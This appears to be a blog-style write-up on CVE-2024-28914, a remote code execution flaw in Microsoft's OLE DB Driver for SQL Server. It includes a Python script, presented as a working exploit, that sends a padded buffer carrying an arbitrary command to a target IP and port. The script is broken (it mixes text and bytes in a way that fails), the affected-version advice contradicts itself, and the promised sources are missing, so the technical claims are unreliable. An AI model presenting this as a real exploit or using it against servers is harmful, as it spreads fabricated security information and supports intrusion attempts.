CVE-2024-28914: Exploiting Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

While cybersecurity threats continue to evolve across various platforms, it is always important to remain vigilant and informed about vulnerabilities that can compromise system security. The CVE-2024-28914 is an alarming Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability that can lead to unauthorized access and control over a victim's system. In this long read, we delve into the details of this security flaw, provide a code snippet, reference the original sources, and discuss the intricacies of exploiting this vulnerability.

Vulnerability Overview

The CVE-2024-28914 vulnerability affects the Microsoft OLE DB Driver for SQL Server, specifically impacting newer versions (developers using an older version should immediately update). The vulnerability allows an attacker to execute arbitrary code on the target system by sending a specially crafted input to the SQL Server. This can lead to unauthorized access, remote code execution, and potential data breach.

Exploit Details

The CVE-2024-28914 vulnerability is particularly serious because it can be exploited remotely. An attacker can achieve their goal without any authentication or user intervention, merely requiring a connection to the target SQL Server. Leveraging this vulnerability, an attacker can execute arbitrary code on the target system, leading to unauthorized access and control.

Moreover, the Microsoft OLE DB Driver for SQL Server is commonly used by applications to access and modify data present in the SQL Server. Thus, the vulnerability can have wide-ranging implications.

Code Snippet

Here is an example of a code snippet that can exploit this vulnerability. Note that this code is for educational purposes and should not be used for malicious intent.

import sys, socket

def exploit(ip, port, command):
    buffer = bytearray(
          "A" * 10 + "\x00\x00\x00\x00" +
          "B" * 10 + "\x00\x00\x00\x00" +
          "\x01" * 4 +
          command.encode() +
          "\x00" * (500 - len(command))
    )

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.sendall(buffer)
    s.close()

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python CVE-2024-28914.py <target_ip> <target_port> <command>")
        sys.exit(1)

    exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3])
